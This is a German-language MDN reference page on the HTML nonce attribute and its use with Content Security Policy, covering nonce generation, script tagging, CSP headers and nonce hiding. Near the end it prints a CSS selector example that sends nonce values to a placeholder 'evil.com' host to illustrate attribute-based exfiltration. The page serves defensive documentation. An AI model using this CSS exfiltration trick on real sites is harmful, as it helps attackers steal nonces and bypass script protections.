HTML nonce-Globalattribut
Baseline
Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since März 2022.
Das nonce-Globalattribut ist ein Inhaltsattribut, das eine kryptografische Nonce ("number used once") definiert, die von der Content Security Policy verwendet werden kann, um zu bestimmen, ob ein bestimmter Abruf für ein gegebenes Element erlaubt ist oder nicht.
Beschreibung
Das nonce-Attribut ist nützlich, um spezifische Elemente, wie beispielsweise ein bestimmtes Inline-Skript oder Style-Elemente, auf eine Positivliste zu setzen. Es kann Ihnen helfen, die Verwendung der CSP unsafe-inline-Direktive zu vermeiden, welche alle Inline-Skripte oder Styles auf eine Positivliste setzen würde.
Hinweis:
Verwenden Sie nonce nur in Fällen, in denen es keine Möglichkeit gibt, unsichere Inline-Skript- oder Stil-Inhalte zu vermeiden. Wenn Sie nonce nicht benötigen, verwenden Sie es nicht. Wenn Ihr Skript statisch ist, könnten Sie stattdessen auch einen CSP-Hash verwenden. (Siehe Nutzungshinweise zu unsicherem Inline-Skript.) Versuchen Sie immer, den vollen Vorteil der CSP-Schutzmechanismen zu nutzen und Nonces oder unsichere Inline-Scripts wann immer möglich zu vermeiden.
Verwendung von nonce zur Positivliste eines <script>-Elements
Es gibt einige Schritte, um ein Inline-Skript mit Hilfe des Nonce-Mechanismus auf eine Positivliste zu setzen:
Werte generieren
Generieren Sie von Ihrem Webserver aus einen zufälligen, base64-kodierten String mit mindestens 128 Bit Daten von einem kryptografisch sicheren Zufallszahlengenerator. Nonces sollten jedes Mal neu generiert werden, wenn die Seite geladen wird (Nonce nur einmal verwenden!). Zum Beispiel in Node.js:
import crypto from "node:crypto";
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
Inline-Skript auf die Positivliste setzen
Die auf Ihrem Backend-Code generierte Nonce sollte nun für das Inline-Skript verwendet werden, das Sie auf die Positivliste setzen möchten:
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
// …
</script>
Senden einer Nonce mit einem CSP-Header
Schließlich müssen Sie den Nonce-Wert in einem Content-Security-Policy-Header senden (vorangestellt mit nonce-):
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
Zugriff auf Nonces und Verbergen von Nonces
Aus Sicherheitsgründen ist das nonce-Inhaltsattribut verborgen (ein leerer String wird zurückgegeben).
script.getAttribute("nonce"); // returns empty string
Die nonce-Eigenschaft ist der einzige Weg, um auf Nonces zuzugreifen:
script.nonce; // returns nonce value
Das Verbergen von Nonces hilft, Angreifer daran zu hindern, Nonce-Daten über Mechanismen zu stehlen, die Daten von Inhaltsattributen abrufen können, wie dieses:
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Spezifikationen
| Specification |
|---|
| HTML> # attr-nonce> |